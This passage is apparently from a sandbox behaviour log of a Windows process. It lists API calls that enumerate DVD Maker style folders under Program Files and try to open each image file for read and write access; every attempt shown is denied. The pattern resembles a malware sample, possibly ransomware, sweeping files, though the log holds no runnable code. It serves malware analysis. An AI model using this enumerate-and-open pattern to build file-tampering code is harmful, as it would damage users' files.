cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0191.028] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.029] GetLastError () returned 0x5 [0191.029] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0191.029] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.030] GetLastError () returned 0x5 [0191.030] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0191.030] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.030] GetLastError () returned 0x5 [0191.030] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0191.030] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.031] GetProcessHeap () returned 0x2ef0000 [0191.031] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.031] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0191.031] GetProcessHeap () returned 0x2ef0000 [0191.031] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x72) returned 0x2f09d00 [0191.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.033] GetProcessHeap () returned 0x2ef0000 [0191.033] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0191.033] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.033] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0191.033] GetProcessHeap () returned 0x2ef0000 [0191.033] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x274) returned 0x2f47728 [0191.034] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.034] GetLastError () returned 0x5 [0191.034] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0191.035] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.035] GetLastError () returned 0x5 [0191.035] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0191.035] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.036] GetLastError () returned 0x5 [0191.036] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0191.036] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.036] GetLastError () returned 0x5 [0191.036] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0191.036] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.037] GetLastError () returned 0x5 [0191.037] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0191.037] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.038] GetLastError () returned 0x5 [0191.038] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0191.038] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.039] GetLastError () returned 0x5 [0191.039] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0191.039] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.040] GetLastError () returned 0x5 [0191.040] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0191.040] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.041] GetLastError () returned 0x5 [0191.041] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0191.041] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.042] GetLastError () returned 0x5 [0191.042] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.043] GetLastError () returned 0x5 [0191.043] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.043] GetLastError () returned 0x5 [0191.044] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.045] GetProcessHeap () returned 0x2ef0000 [0191.045] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.045] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.046] GetLastError () returned 0x5 [0191.046] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.046] GetLastError () returned 0x5 [0191.046] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.046] GetLastError () returned 0x5 [0191.047] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.047] GetLastError () returned 0x5 [0191.047] GetProcessHeap () returned 0x2ef0000 [0191.047] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7a) returned 0x2f123a0 [0191.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.052] GetProcessHeap () returned 0x2ef0000 [0191.052] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0191.053] GetProcessHeap () returned 0x2ef0000 [0191.053] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27c) returned 0x2f47728 [0191.053] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.053] GetLastError () returned 0x5 [0191.053] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.054] GetLastError () returned 0x5 [0191.054] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.054] GetLastError () returned 0x5 [0191.054] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.054] GetLastError () returned 0x5 [0191.054] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.055] GetLastError () returned 0x5 [0191.055] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.055] GetLastError () returned 0x5 [0191.055] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.055] GetLastError () returned 0x5 [0191.055] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.055] GetLastError () returned 0x5 [0191.055] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.055] GetLastError () returned 0x5 [0191.056] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.056] GetLastError () returned 0x5 [0191.056] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.056] GetLastError () returned 0x5 [0191.056] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.057] GetProcessHeap () returned 0x2ef0000 [0191.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.057] GetProcessHeap () returned 0x2ef0000 [0191.057] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x84) returned 0x2f45740 [0191.057] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.060] GetProcessHeap () returned 0x2ef0000 [0191.060] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0191.060] GetProcessHeap () returned 0x2ef0000 [0191.060] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x286) returned 0x2f47728 [0191.060] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.062] GetLastError () returned 0x5 [0191.062] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.063] GetLastError () returned 0x5 [0191.063] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.063] GetLastError () returned 0x5 [0191.063] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: 